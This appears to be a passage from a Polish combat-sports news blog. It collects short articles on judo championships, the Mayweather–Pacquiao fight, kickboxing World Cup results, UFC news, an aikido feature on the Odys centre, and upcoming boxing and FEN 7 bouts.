reprezentacja wypadła przeciętnie. Najlepiej zaprezentowała się Agata Perenc, która wywalczyła brązowy medal. Judoczka Polonii Rybnik w tym sezonie utrzymuje stabilną i równą formę. Perenc miała dobry początek sezonu, jednak później trochę zgasła, odrodziła się w Samsun – czy w Zagrzebiu potwierdzi dobrą dyspozycję? Pozytywne wspomnienia z zeszłorocznego występu w Chorwacji ma Katarzyny Kłys, która zdobyła wtedy srebrny medal. Warto podkreślić, że poprzedni sezon w wykonaniu naszej judoczki był bardzo udany. Wywalczyła brązowy medal mistrzostw świata w Czelabińsku i prezentowała równą formę w zawodach Pucharu Świata i Grand Prix, gdzie zdobywała medale. W tym sezonie Kłys nie może wrócić na właściwe tory, dodatkowo wokół reprezentantki Polski zrodziło się zamieszanie w kwestii szkoleniowej. Dla Kłys nadszedł ważny czas, aby wyciszyć emocje i osiągnąć sukces, gdyż jest nadzieją na medal w Rio de Janeiro.

Dobry występ w mistrzostwach Polski pozwolił Michałowi Bartusikowi (66kg) wskoczyć do kadry udającej się do Zagrzebia. Złoty medal okazał się najlepszą definicją obecnej formy naszego judoki. W Zagrzebiu w kategorii 66kg wystąpi również Aleksander Beta. Kolejny okazję do potwierdzenia znakomitej dyspozycji będzie miał Jakub Kubieniec (81kg), który z zawodów na zawody prezentuje się coraz lepiej. W Zagrzebiu pojawi się także wicemistrz Polski w 81kg Łukasz Błach. Nie może zabraknąć Macieja Sarnackiego (+100kg), najlepszego obecnie polskiego judoki. Zawodnik z Olsztyna w tym sezonie wygrał zawody Pucharu Świata na warszawskim Torwarze, jednak podczas Grand Prix w Samsun rozczarował. W Zagrzebiu ma okazję do rehabilitacji. Szansę na poprawę ma również Patryk Ciechomski (90kg), który w mistrzostwach Polski uplasował się na piątej pozycji. O punkty w rozgrywce olimpijskiej powalczą także Damian Szwarnowiecki (73kg) oraz Jakub Wójcik (100kg).

 

KM

Historia naszych czasów

Walka XXI wieku – takiego miana dorobił się pojedynek Floyda Mayweathera Jr. z Manny Pacquaio przed wejściem pięściarzy do ringu. Fakt – aura wokół walki, pieniądze lecące z nieba, a także nazwiska robią swoje.

Widowisko. Wielki spektakl, który ma zaspokoić żądze spragnionych prawdziwego, wielkiego i mocnego boksu. Pięściarstwo najwyższych lotów powoli przechodzi do lamusa. Walki bokserskie zostały zdominowane przez taktykę i kalkulację obliczoną na bezpieczne wygrywanie. Ciężko teraz ujrzeć pojedynek rangi mistrzowskiej na wysokim poziomie. Z pewnością wyjątkiem będzie starcie Wildera ze Stivernem. W przypadku takich walk, jak ta, która ma odbyć się 2 maja rodzą się uzasadnione obawy. Czy ów pojedynek godzien jest zamieszania i aury wyjątkowości, które zrodziły się w toku planowania oraz realizacji projektu? De facto odpowiedź poznamy w ringu, jednak zawczasu warto ochłonąć i przygotować się na wszystkie możliwe rozwiązania. Błędem jest twierdzenie, że walka okaże się nudna, jednak może być określona przez taktykę, co pozbawi ją elementu efektywności i polotu, a to z punktu widzenia obserwatora widowiska sportowego jest niezwykle istotne. Pojedynek Mayweather – Pacquiao był długo wyczekiwany i z pewnością ściągnie z łóżka wielu fanów boksu.

Do walki miało dojść już wcześniej, jednak różne kwestie stały na przeszkodzie. W marcu 2010 roku Pacquiao nie przystał na tzw. badania olimpijskie, które w każdej chwili dopuszczały możliwość zbadania krwi i moczu zawodnika. Filipińczyk twierdził, że takie działanie wpływa negatywnie na jego formę. Latem 2010 roku Top  Rank, czyli reprezentant Pacquiao złożył kolejną propozycję walki Mayweatherowi, jednak ten nie ustosunkował się do niej. W 2012 roku sam Money wykonał telefon do Pacmana. Zaoferował mu walkę i 40 milionów dolarów. Filipińczyk wyszedł z propozycją pojedynku charytatywnego. Z czasem wyraźnie widoczne stało się, że Mayweather unika pojedynku, gdyż stawiał Pacquiao coraz to nowe wymagania. Żądał, aby ten odszedł z Top Rank, wziął rewanż na Bradleyu i Marquezie. Taka gra nie podobała się Pacmanowi. Dla wielu walka stulecia stawała się nierealna. Ale machina cały czas nakręcała się. Każdy chciał zobaczyć w ringu Mayweathera i Pacquiao i stanie się to lada chwila. Historia, która trwała tyle lat w końcu znajdzie swój finał. A zyski z tego występu dla obu pięściarzy będą niebotyczne.

Obaj mają doświadczenie i tytuły. W ringu zrobili niemalże wszystko, a teraz przejdą do historii. Walka XXI wieku. Defensywy styl Mayweathera kontra żywioł ość Pacquiao. Money to showman, który potrafi nakręcić atmosferę i przyciągnąć uwagę, jednak w ringu jest profesjonalistą, który nigdy nie zaznał goryczy porażki. Pierwszym, który ma wielkie pragnienie, aby to uczyć jest Pacquiao. Pięściarz skakał między kategoriami wagowymi i w każdej potrafił się odnaleźć. Filipińczyk jest niezwykły, niczym mała pchła pokonywał kolejne szczeble i swoją szybkością oraz elastycznością zaskakiwał kolejny rywalami. Z wieloma (Marquez, Bradley) toczył boje, który urosły do rangi pięknej bokserskiej sagi. Pacman częściej posyła swoim oponentów na deski niż Mayweather. Czy pojedynek stulecia będzie efektowny i dostarczy publiczności wrażeń? A może okaże się ostatnim akordem dobrze pomyślanego biznesu? Oczekiwania się ogromne. Ring będzie wrzał.

KM

"On Freddie" i premiera dokumentu "W narożniku" Pacquiao vs. Mayweather – wielkie odliczanie do walki stulecia w FightKlubie.

Maraton z serialem „On Freddie” i premiera dokumentu „W narożniku” Pacquiao vs. Mayweather – wielkie odliczanie do walki stulecia w FightKlubie.

Z okazji historycznego pojedynku Manny’ego Pacquiao z Floydem Mayweatherem Juniorem telewizja FightKlub przygotowała specjalne pasmo dokumentalne. W dzień walki stulecia, sobotę 2 maja od godziny 19:00 stacja wyemituje maraton z serialem dokumentalnym produkcji HBO „On Freddie”. W ten sposób przypomni sylwetkę głównego architekta sukcesów Filipińczyka – Freddiego Roacha. W te sam wieczór o godzinie 22:00 będzie miał premierę program dokumentalny „W narożniku” Pacquiao vs. Mayweather.

W ramach wielkiego odliczania do walki stulecia telewizja FightKlub przypomni serial dokumentalny „On Freddie”. Za swoją karierę trenerską, Freddie Roach czterokrotnie doceniony został tytułem “Najlepszego trenera roku”, jego podobizna znajduje się w czterech różnych galeriach sław, w tym tej najbardziej prestiżowej w Cantastocie, stanie Nowy Jork. Osiągnięcia trenera robią tym większe wrażenie, że Roach aktywnie pracuje pomimo choroby Parkinsona, z którą boryka się od młodych lat. O jego niezwykłym życiu, metodach pracy m.in. z Mannym Pacquiao opowie 6-odcinkowy serial „On Freddie”. Maraton z serialem w sobotę od godziny 19:00.

[kod]

W sobotę o 22:00, tuż po serialu „On Freddie”, będzie miał premierę w FightKlubie program dokumentalny “W narożnikuManny Pacquiao vs. Floyd Mayweather Junior. Ten trzyodcinkowy dokument przygotowany przez weterana sportowego dziennikarstwa Jamesa „Smitty” Smitha przypomni sylwetki Floyda Mayweathera Juniora oraz Mann’ego Pacquiao. Poprzez cykl wywiadów z głównymi bohaterami oraz ich trenerami, zagłębi się w życiorysy ikon boksu. Pokaże w nim także unikalne migawki z treningów, w których podpatrzymy błyskotliwe techniki defensywne Floyda Mayweathera Juniora oraz ataki “Pacmana”. Dokument ten stwarza unikalną okazję zapoznania się z tym jak rodziły się legendy światowego boksu, jak kształtowała się ich ścieżka, aż do najważniejszej walki w ich życiu. Serial wyemitowany zostanie premierowo o 22:00 i po północy, tuż przed walką stulecie.

Źródło: materiały prasowe

Bogaty Puchar Świata

Pojechali i przywieźli. Reprezentacja Polski w kickboxingu zaliczyła dobry występ w zawodach Pucharu Świata WAKO Austrian Classics.

Rywalizacja trwała trzy dni i przyniosła biało-czerwonym wiele pozytywnych wrażeń. Na płaszczyźnie sportowym Polacy po raz kolejny udowodnili swoją wartość. Nasza kadra wystąpiła w formułach Kick Light, K-1, Light Contact, Point Fighting, Full Contact, w zawodach wzięli udział zawodnicy Punchera Wrocław. Wynik mówi sami za siebie – trzydzieści sześć medali. Aż siedemnaście krążków miało kolor złoty.

Najlepiej zaprezentowali się nasi reprezentanci w formule K-1, gdzie wywalczyli osiem złotych medali. Kolejny dobry występ zaliczyła Paulina Bieć (+70kg), która potwierdziła wysoką formę. Złoto zawisło również na szyjach Ewy Boś (48kg), Małgorzaty Dymus (56kg) oraz Róży Gumiennej (65kg). Wśród panów w K-1 również cztery krążki z najcenniejszego kruszcu. Mateusz Pluta zdominował kategorię 91kg i pewnie triumfował. Dobry występ Eliasza Jankowskiego (63,5kg), który z każdym kolejnym występem potwierdza wysoką dyspozycję. Ponadto, triumfowali: Hubert Ulikowski (60kg) oraz Mateusz Dąbrowski (67kg).

Siedem złotych medali w kick-light. Swój fenomen oraz ogromne umiejętności po raz kolejny potwierdziła Żaneta Cieśla (50kg). Nasza fighterka raz za razem prezentuje swój kunszt i wygrywa. Dla Cieśli nie ma znaczenia, czy rywalizuje na krajowym podwórku czy w zawodach Pucharu Świata. Z dobrej strony pokazał się doświadczony Jerzy Wroński z Palestry, który triumfował w kategorii 79kg. Skuteczny Artur Bizewski (+94kg) – na niego również nie było mocnych. Polak triumfował także w 94 kg, czyli wadze dla prawdziwych twardzieli. Najlepszy okazał się Piotr Wypchał. Mateusz Jereczek zwyciężył w 89kg, a Wojciech Wiśniewski był pierwszy w 84kg. Złoto w Austrii wywalczył również Maciej Domińczak (63,5kg).

Dorota Godzina znakomicie prezentuje się podczas gal grupy DSF, gdzie ostatnio wywalczyła mistrzowski pas i stała się jedną z najbardziej rozpoznawalnych zawodniczek kickboxingu w Polsce. Zawodniczce udaje się pogodzić liczne starty i utrzymywać wysoką dyspozycję, czego najlepszym potwierdzeniem jest złoty medal zdobyty podczas Pucharu Świata w Austrii. Godzina triumfowała w light contact w kategorii 55kg. Złoto dla kolejnej polskiej zawodniczki – w full contact 65kg zwycięstwo Pauliny Frankowskiej.

W Pucharze Świata w Austrii wystąpiło ponad dwa tysiące zawodników z trzydziestu czterech krajów. Każde zawody w kickboxingu przyciągają rzesze fighterów i przy okazji weryfikują ich potencjał. Często jest tak, że wyraźne widać różnicę klas. Tradycją stają się dobre występy Polaków. Niezależnie od rangi imprezy. Z mistrzostw Europy lub świata biało-czerwoni regularnie przywożą worki medali. Puchar Świata jest dobrym przetarciem przed najważniejszymi imprezami. Cieszy powtarzalność polskich zawodników, którzy przekładają dobre wyniki na występy w rywalizacji międzynarodowej. Trzydzieści sześć medali, w tym siedemnaście złotych – to ma swój wydźwięk.

KM

Błachowicz zaprasza na wakacje

Porażka podczas krakowskiej gali UFC nie poprawiła notowań Jana Błachowicza. „John” musi udowodnić swoją wartość, a jego droga do najwyższych laurów znacznie się wydłużyła. Szansę na rehabilitację dostanie w słoneczne dni wakacji.

Polski fighter wagi półciężkiej wróci do oktagonu w lipcu bądź w sierpniu. Sam poinformował o tym na Twitterze. Błachowicz prowadzi rozmowy z włodarzami UFC na temat swojego kolejnego pojedynku dla organizacji. Będzie to trzecia walka „Johna” dla najlepszej organizacji mieszanych sztuk walki na świecie.

Początkowo wydawało się, że Błachowicz szybko może przebić się do czołówki UFC, jednak w Krakowie nie potwierdził swoich możliwości. W pojedynku z Jimim Manuwą był zachowawczy, ostrożny i zbyt wycofany, aby odnieść sukces. Z kolei Brytyjczyk niczym specjalnym się nie wyróżnił, ewentualnie przejawiał chęć walki, co wystarczyło do odniesienia zwycięstwa. Sędziowie wskazali na Manuwę, a Błachowicz musiał schodzić ze smutkiem z areny walki. Areny, która zlokalizowana była na jego ojczystej ziemi. Popularny „John” nie wyglądał na zawodnika z pojedynku z Ilirem Latifim. W swoim debiucie w UFC Błachowicz efektownie rozprawił się ze Szwedem i pokazał potęgę swojego ciosu. Wielu się zachwycało stylem polskiego fightera, a telewizje chętnie pokazywały urywki walki. Błachowicz miał szansę wejść do czołówki, jednak teraz musi się odbudować. Najbliższa okazja ku temu w wakacje. Z pewnością Polak ma możliwości, ale musi nabrać odwagi i przełamać się w sferze psychicznej. Obecnie notowany jest na piętnastym miejscu kategorii  półciężkiej UFC.

W tej samej wadze doszło do zmian. Tytuł stracił Jon Jones, ale nie w wyniku rywalizacji z innym zawodnikiem, lecz za sprawą organizacji. UFC podjęło decyzję w oparciu o ostatnie wydarzenia. Jones spowodował wypadek samochodowy i uciekł z miejsca zdarzenia. Ranna została kobieta w ciąży, jednak obyło się bez większych obrażeń. Policja wydała nakaz aresztowania fightera, jednak ten sam zgłosił się do służb porządkowych, ale po wpłaceniu kary mógł opuścić areszt. Jones przebywa na wolności, lecz jego zachowanie nie pozostanie bezkarne i już ponosi pierwsze jego konsekwencje. UFC zawiesiło bezterminowo zawodnika i pozbawiło go mistrzowskiego tytułu w wadze półciężkiej w związku z naruszeniem zasad.

Jones robił błyskawiczną karierę. Zawodnik uznawany był za najlepszego fightera bez podziału na kategorie wagowe. Podczas UFC 187 Jones miał bronić mistrzowskiego pasa w starciu z Anthony’m Johnsonem, jednak do niego nie dojdzie. Kariera 27-latka znalazła się na zakręcie, gdyż zachował się nieodpowiedzialnie. Jones naraził drugą osobę na utratę zdrowienie udzielając jej pomocy. UFC zareagowało błyskawicznie. Na płaszczyźnie sportowej tytuł trafi do innych rąk. Pojedynek o mistrzostwo UFC rozegra się między Johnsonem, a Danielem Cormierem 23 maja.

KM

Judo: Objawienie mistrzów

W miniony weekend w Kielcach odbyły się mistrzostwa Polski seniorek i seniorów w judo. Rywalizacja pozwoliła określić, kto jest w dyspozycji, aby podjąć walkę na najważniejszych tegorocznych imprezach.

Wśród pań trudno doszukiwać się niespodzianek. Wygrywały judoczki obyte w zagranicznych wojażach, które w ostatnim czasie notowały dobre występy w zawodach międzynarodowych. W kategorii 48kg bezkonkurencyjna okazała się Ewa Konieczny, która w finale uporała się z Kingą Kubicką. Do ciekawej rywalizacji doszło w 52kg. Tam spotkały się Karolina Pieńkowska oraz Agata Perenc. Obie zawodniczki notowały przyzwoite występy w Pucharach Świata i Grand Prix, gdzie zajmują miejsce na podium. W tym sezonie lepiej prezentowała się Perenc, która m.in. w Samsun sięgnęła po brąz. Mimo to w mistrzostwach kraju musiała uznać wyższość Pieńkowskiej. Arleta Podolak, która w ostatnim czasie prezentowała nierówną formę w Kielcach stanęła na najwyższym stopniu podium. W kategorii 57kg w finale rozprawiła się z Anną Borowską. W licznie obsadzonej wadze 63kg, gdzie startowało dziewiętnaście zawodniczek triumfowała Agata Ozdoba. Brązowa medalista ubiegłorocznych mistrzostw Europy w decydującej walce pokonała Karolinę Tałach. Dominacja Katarzyny Kłys w kategorii 70kg. Daria Pogorzelec okazała się najlepsza w 78kg. Fakt, że Katarzyna Furmanek zdobyła srebro w +78kg można uznać za niespodziankę. W końcu zawodniczka AZS-u Gdańsk wygrała w tym roku turniej w Pradze, jednak w Kielcach znalazła pogromczynię w osobie Beaty Pacut. Warto podkreślić, że najcięższe kategorii nie były licznie osłabione – w 70kg wystartowało 10 judoczek, w 78kg – 8, a w +78kg – 6.

Wśród panów rywalizacja trwała w najlepsze. Wszystkie kategorie były dość licznie obsadzone, a w 81kg zaprezentowało się aż trzydziestu jeden judoków. Triumfował robiący ustawiczne postępy Jakub  Kubieniec. Zawodnik AZS-u AWF Katowice pozostawił w tyle Łukasza Błacha. Triumfował również najlepszy obecnie polski judoka Maciej Sarnacki. Reprezentant TS „Gwardia” Olsztyn w finale kategorii +100kg pokonał Damiana Nasiadko. W 90kg triumfował Piotr Kuczera, który prezentuje coraz lepszą dyspozycję. Poniżej oczekiwań wypadł Patryk Ciechomski, gdyż zajął piąte miejsce. Więcej spodziewano się także po występie Kamila Kozłowskiego – siódma pozycja. Dobrą formę w kategorii 73kg potwierdził Damian Szwarnowiecki z Gwardii Wrocław. Trzecie miejsce przypadło doświadczonemu Krzysztofowi Wiłkomirskiemu z UKS Musu Warszawa. W kategorii 100kg triumfował Jakub Wójcik z AZS Wrocław przed Jakubem Zarzecznym z Wybrzeża Gdańsk. Złoto wywalczył Marek Kręcielewski w 60kg. Była to najmniej licznie obsadzona kategoria – wystąpiło dwunastu zawodników. Triumf Michała Bartusika w 66kg, który pojedzie na najbliższe Grand Prix do Zagrzebia.

Mistrzostwa Polski w Kielcach wyłoniły najlepszych judoków kraju. Wśród pań widać pewną stabilizację, u panów też panuje porządek, jednak nie wszyscy utrzymują formę z początku sezonu. W drużynowych mistrzostwach Polski najlepsze okazały się drużyny: TS Gwardia Opole wśród pań, a u panów GKS Czarni Bytom.

KM

Sztuki walki na hali sportowej w Centrum Wypoczynku Odys

Aikido to opatentowana na przełomie dziewiętnastego i dwudziestego wieku sztuka walk. Od samego początku swojego istnienia zdobyła wielkie uznanie i cieszy się niesłabnącą popularnością. Od września 2014 roku w hali sportowej znajdującej się w Centrum Wypoczynku Odys zwolennicy tej techniki sztuk walki mogą przechodzić kolejne etapy wtajemniczenia pod kierunkiem Pana Rafała Obrzud.

Wschodnie sztuki walki od lat intrygują i fascynują. Całkowite panowanie nad ciałem za pomocą totalnej jego synchronizacji z umysłem pozwala na opanowanie technik ataku i obrony, które mogą być zabójcze dla większości oponentów. Nie dziwi więc, że z każdym rokiem przybywa osób które pragną pojąć niezwykle praktyczną i widowiskową sztukę jaką jest aikido. Ten rodzaj walki wymyślony przez Morihei Ueshibę został oparty na połączeniu nurtu aikijutsu oraz kenjutsu.
Jeśli chodzi o techniki stosowane w aikido to składają się one głównie z dźwigni na małe stawy, czyli na nadgarstki i łokcie oraz uników i padów. Oprócz walki wręcz, ten rodzaj sztuk walki zawiera elementy walki bronią. Współczesne składa się z kilkunastu szkół i nurtów, o mniej lub bardziej praktycznym nastawieniu. Sztuka walki przerodziła się obecnie w szeroko rozumianą działalność rekreacyjno-zdrowotną. Wielkim promotorem aikido jest popularny w Polsce aktor Steven Seagal. 

Warto odnotować, że od ponad roku tajemnice aikido można zgłębiać na hali sportowej, która należy do Centrum Wypoczynkowego Odys. Co więcej, szkoleniem adeptów tej niezwykłej sztuki zajmuje się uznany nie tylko w naszym kraju  Pan Rafał Obrzud, który bardzo chętnie opowiada o swojej przygodzie z tą wschodnią sztuką walki wręcz. 

Redakcja: Od jak dawna zajmuje się pan trenowaniem aikido?
Rafał Obrzud: W tym roku będzie mijać już 32 lata, w tym czasie udało mi się osiągnąć czwarty dan, czyli poziom wtajemniczenia.
Redakcja: To wiele lat pracy i pewnie niemałego wysiłku, co by uznał Pan za swój największy sukces?
Rafał Obrzud: Cóż, cieszę się, że udało mi się uzyskać licencje instruktora i egzaminatora Polskiej jak i Czeskiej Federacji Aikido. To wielkie wyróżnienie i cieszę się, że praca włożona w trening została doceniona.
Redakcja: Od września 2014 roku prowadzi pan zajęcia na hali sportowej w Centrum Odys, czy wcześniej miał pan możliwość uczenia aikido?
Rafał Obrzud: Kilka lat temu podjąłem współpracę między innymi z Katowickim AWF-em, prowadzę tam zajęcia teoretyczne jak i same treningi. Pracuję też od 17 lat  w KU AZS Uniwersytet Śląski.
Redakcja: Na koniec pragnę zapytać, czy każdy może trenować aikido?
Rafał Obrzud: Każdy, kto tylko ma w sobie odpowiednią ilość zaparcia i chęci, może opanować tę sztukę. Zachęcam do tego tym bardziej, że jest ona przydatna nie tylko w sytuacjach zagrożenia, ale dzięki temu iż uczy koncentracji pomoże adeptowi w codziennym życiu.

Pracownicy z hotelodys.plktórzy na co dzień obserwują pracę i rozwój uczniów pana Rafała Obrzuda przyznają, że są pod wrażeniem szybkich postępów jakich dokonują uczestnicy zajęć. 

Co ważne, aby nauka sztuk walki miała sens, konieczne jest stworzenie odpowiednich warunków. Hala sportowa znajdująca się przy centrum wypoczynkowym Odys posiada wymiary 868,71m2 samej powierzchni użytkowej. Daje to odpowiednią przestrzeń do nauki dla dużej ilości osób. Jest to również nowoczesne miejsce, posiadające między innymi dostęp do sieci bezprzewodowej. To dobre rozwiązanie np. dla rodziców, którzy czekając na koniec treningu swoich pociech mogą w tym czasie swobodnie po surfować po internecie. 

Dla tych, którym zdobywanie kolejnych stopni wtajemniczenia nie przynosi radości, obsługujący halę pracownicy zatrudnieni w hotelodys.pl przypominają, że ośrodek ten daje wiele innych możliwości. Spokojnie można rozgrywać na nim mecze piłki halowej i siatkowej. Odbywają się także kursy tańca oraz inne zajęcia, które pozwolą utrzymać ciało w dobrej kondycji.

Kliczko wykonał zadanie, Polacy nie gorsi

Mistrz z Ukrainy wygrał sześćdziesiątą czwartą walkę na zawodowym ringu. Władimir Kliczko jest niepokonany od jedenastu lat. Mimo szumnych zapowiedzi Bryant Jennings nie zaskoczył Ukraińca.

Amerykanin miał marzenia. Do momentu rozpoczęcia pojedynku z ukraińskim mistrzem był niepokonany w ringu. Kliczko był wyższy i cięższy, co dawało mu przewagę w aspekcie siły. Jennings musiał postawić na szybkość, sprawność oraz skuteczność. Tego zabrakło. Amerykanin starał się, jednak nie potrafił niczym zaskoczyć doświadczonego rywala. Warto zastanowić się nad wartością pojedynku. W opinii ekspertów Kliczko nie zaprezentował się zgodnie ze swoimi możliwościami. Dla Ukraińca celem pozostaje obrona mistrzowskich pasów oraz zachowanie pozycji w bokserskiej hierarchii, a także zyski. W Madison Square Garden zrobił, co do niego należało. Wygrał i zachował mistrzowskie pasy. Kliczko w opinii sędziów był zdecydowanie lepszy – 118:109, 116:111, 116:111. Nadal jest mistrzem i czeka na kolejnego rywala. Ma nim być pretendent do pasa WBO Tyson Fury.

W wielkim stylu na amerykański ring wrócił Artur Szpilka. Popularny „Szpila” nie dał szans wiekowemu rywalowi. Ty Cobb już w pierwszej rundzie leżał na deskach, ale podniósł się i chciał kontynuować walkę. Na chęciach się skończyło. Dominacja Szpilki ani przez chwilę nie podlegała dyskusji, Polak zasypywał Amerykanina kolejnymi ciosami. Z kolei Cobb starał się bronić, jednak za bardzo mu to nie wychodziło. Po gromach, które spadły na niego w drugiej rundzie padł na deski, ale miał na tyle siły, aby wstać. Jednak sędzia był rozsądny i przerwał pojedynek. Szpilka zanotował osiemnaste zwycięstwo na zawodowym ringu i pokazał, że z rywalami z niższej półki należy rozprawiać się szybko i bez zastanowienia. Podczas tej samej gali, Premier Boxing Champions w Chicago, swój pojedynek stoczył Maciej Sulęcki. Dla popularnego „Striczu” był to pierwszy występ poza granicami kraju. Debiut udany, inny scenariusz nie wchodził w grę. Darryl Cunningham nie zawiesił Polakowi poprzeczki zbyt wysoko. Już w pierwszej rundzie Amerykanin musiał zapoznać się z deskami, a Sulęcki nie odpuszczał i nacierał na rywala. Zabrakło czasu. W drugiej rundzie Cunningham nie miał, gdzie uciec. Seria ciosów i potężny prawy prosty załatwiły sprawę. Sulęcki wygrał po raz dwudziesty w karierze.

Do poziomu kolegów dostosował się Mateusz Masternak. Popularny „Master” również dostał rywala z niższej półki i szybko pokazał mu, gdzie jest jego miejsce. Choć Ruben Angel Mino miał na koncie tylko dwie porażki,  wynikało to z faktu, że zdecydowaną większość swoich pojedynków stoczył w Ameryce Południowej. Masternak już w pierwszej rundzie posłał Argentyńczyka na deski. Dzieło zostało dokończone w drugiej odsłonie, kiedy  „Master” mocnym prawym podbródkowym nie dał rywalowi najmniejszych szans na kontynuowanie walki.

KM

FEN 7: Gwiazdą wieczoru Sarara

Kolejna gala Fight Exclusive Night odbędzie się w Bydgoszczy. W pojedynku wieczoru Tomasz Sarara zmierzy się z Nikolaiem Falinem.

Gala FEN 7 „Real Combat” 24 kwietnia ma porwać bydgoską publiczność. Fighterzy dołożyć wszelkich starań, aby  dostarczyć pozytywnych wrażeń publiczności.  W kickboxerskim pojedynku wagi cruiser do 95 kg zmierzą się Tomasz Sarara i Nikolaj Falin. 29-latek jest bardzo utytułowanym i uznanym zawodnikiem. Sarara prezentował swoje umiejętności szerszej publiczności m.in. w Holandii, Rosji czy Japonii. Największym sukcesem w karierze polskiego zawodnika był triumf w turnieju Biggers Better. Reprezentant TS Wisła w swoim ostatnim pojedynku okazał się lepszy od Yegisha Yegoiana. Do tej pory stoczył trzydzieści jeden zwycięskich walk, przy siedmiu porażkach. W Bydgoszcz Sarara stanie naprzeciw jednego z najlepszych kickbokserów w Niemczech – Nikolaja Falina. W 2011 roku zwyciężył w turnieju Biggers Better, kiedy to w półfinale uporał się z Polakiem Damianem Trzcińskim. Pojedynek Sarary i Falina może być prawdziwą wisienką na torcie gali FEN 7, a zarazem ogromną atrakcją dla widzów. W formule K-1 zawodnicy stanowią klasę samą dla siebie, prezentując wysoki poziom. Czy potwierdzą swoje umiejętności i dadzą niesamowite widowisko?

Szansę na weryfikację swojego talentu dostanie Albert Odzimkowski. 27-latek w mieszanych sztukach walki radzi sobie przyzwoicie, jednak do tej pory wygrywał tylko z rodakami. Kiedy trafił na rywala z zagranicy to przegrał i jak do tej pory była to jego jedyna porażka. Pogromcą Odzimkowskiego okazał się Mickael Lebout, a pojedynek miał miejsce podczas gali PRO MMA Challenge – Just Fight! Popularny „Złoty” wraca do rywalizacji po prawie rocznej przerwie. Na FEN 7 stanie naprzeciw Mindaugasa Verzbickasa. Litwin w swojej ostatniej walce pokonał Karola Szałowskiego podczas Bushido Lithuania – Hero’s 2014. Warto nadmienić, że w maju 2014 roku Verzbickas znalazł pogromcę w osobie Andrzeja Grzebyka. Marcin Wrzosek ciałem będzie w Bydgoszczy, ale myślami będzie krążył po Stanach Zjednoczonych. Polski fighter ma wziąć udział w eliminacjach do kolejnego sezonu UFC – The Ultimate Fighter. Na FEN 7 Wrzosek zmierzy się z niepokonanym dotąd Rafałem Rajewskim. W ostatniej chwili z rozpiski wypadł Tyberiusz Kowalczyk. „Tyberian” miał stoczyć drugi pojedynek w MMA, jednak nie zmierzy się z Matejem Chudejem.

Organizacja FEN mocno stawia na kickboxing. W pojedynku wieczoru wystąpią wspomniani Sarara i Falin. W kategorii wagowej do 54kg zaprezentuje się Marta Chojnoska. Znana z występów na galach KSW zawodniczka w przeszłości związana był z judo, a karierę rozwinęła w kickboxingu. Chojnoska jest mistrzynią świata z 2011 roku oraz wielokrotną mistrzynią Polski. Na FEN 7 podejmie Victorię Korkoshko. Damian Świerczyński zmierzy się z Janu Cruzem, który zaprezentował się już polskiej publiczności w rywalizacji z Pawłem Biszczakiem i Wojciechem Wierzbickim. Zakaria Baitar postara się powstrzymać Łukasza Rambalskiego, a nie będzie to łatwe.

FEN 7 „Real Combat” to mieszanka MMA i kickboxingu. Prawdziwą gratką ma być występ Sarary. Z pewnością wiele można oczekiwać po występie Alberta Odzimkowskiego. Nie zabraknie również walki pań – Chojnoska i Korkoshko dadzą prawdziwy pokaz walki.

KM

Trzej muszkieterowie idą na bój

W najbliższych dniach na ring wyjdą Maciej Sulęcki, Mateusz Masternak oraz Artur Szpilka. Wszyscy rozpatrywani są w kategorii nadziei polskiego boksu. Nadziei na sukces, na wielkie walki i mistrzowskie pasy. Czy w najbliższych pojedynkach muszkieterowie potwierdzą swoją wartość?

Popularny „Striczu” trafił na usta wszystkich po pokonaniu Grzegorza Proksy na gali w Krakowie. Nie było wątpliwości, kto jest numerem jeden wagi średniej w Polsce. Jeszcze głośno zrobiło się o Sulęckim chwilę później, gdy wybuchł jego konflikt z trenerem Andrzejem Gmitrukiem. Jednak teraz „Striczu” stanie w ringu i będzie starał się przedstawić argumenty czysto sportowe w celu odniesienia kolejnego zwycięstwa na zawodowym ringu. Rywalem polskiego boksera będzie doświadczony Darryl Cunningham. Czasy, kiedy 40-latek wygrywał z wartościowymi pięściarzami już dawno minęły. W ostatniej walce Cunningham uporał się z Brucem Rumbolzem, dla którego była to dwudziesta ósma porażka na zawodowym ringu. Sulęcki stoczy swój pierwszy pojedynek w Ameryce. Dostał rywala, którego musi pokonać. Sulęcki jest zdeterminowany, aby w Chicago pokazać się z jak najlepszej strony.

Na tej samej gali swój pojedynek stoczy Artur Szpilka. Popularny „Szpila” spokorniał i pokazał, że umie utrzymać nerwy na wodzy. Rozprawił się z Tomaszem Adamkiem w walce, w której udowodnił, że jeśli będzie intensywnie i mądrze pracował to ma szanse na sukces. Musi skupić się na boksie. Najbliższy pojedynek Szpilki został zakontraktowany na osiem rund, a jego rywalem będzie Ty Cobb. Amerykanin nie powinien być wyzwaniem dla polskiego boksera i raczej nie należy spodziewać się porywającego widowiska. Szpilka musi wygrać – krótko i na temat. Bez zbędnych kalkulacji, gdyż rywal, z którym stoczy pojedynek niczym specjalnym nie imponuje. Nic nie ujmując Cobbowi – jak można ocenić pięściarza, który nie stoczył walki dłuższej niż osiem rund? Szpilka już może dopisywać sobie kolejne zwycięstwo, ale musi wejść do ringu i wykonać robotę.

Mateusz Masternak swój pojedynek stoczy podczas gali w Berlinie. Wartość sportowa jego przeciwnika też jest wątpliwa. Choć Ruben Angel Mino ma dobry bilans (26-2) to nie prezentuje poziomu, który pozwala mu rywalizować na równi z pięściarzami z Europy. W Ameryce Południowej gromi kolejnych rywali, jednak jego wizyty na Starym Kontynencie zakończyły się klęskami. W lutym 2014 roku w Monako już w drugiej rundzie Mino znalazł się na deskach w starciu z Ilungą Makabu. Rok później spróbował swoich sił w Niemczech. W Hamburgu Isa Akberbayev szybko sprowadził go na ziemię, bo już w pierwszej rundzie. 40-latek z pojedynku z Masternakiem może jedynie walczyć o przetrwanie. „Master”, który w ostatnim pojedynku uporał się z Mormeckiem powalczy o trzecie zwycięstwo z rzędu.

Nic trudnego. Trzej muszkieterowie dostali takich rywali, że nie powinni się nadto zmęczyć. Jedynie dla Sulęckiego występ w Chicago może być przeżyciem i wiązać się ze stresem, gdyż to jego pierwszy występ poza granicami kraju. Trzech muszkieterów i trzy zwycięstwa – tak powinno to wyglądać. Inny scenariusz będzie totalną klapą.

KM

 

Jennings w natarciu

Władimir Kliczko musi mieć się na baczności. Kolejnym rywalem mistrza z Ukrainy będzie Bryant Jennings, który do tej pory nie zaznał porażki na zawodowym ringu. Czy Kliczko ma się czego obawiać przed walką zaplanowaną na 24 kwietnia? Przecież wszyscy zapowiadają chwile triumfu, a i tak zwycięża czempion WBA/WBO/IBF/IBO w wadze ciężkiej.

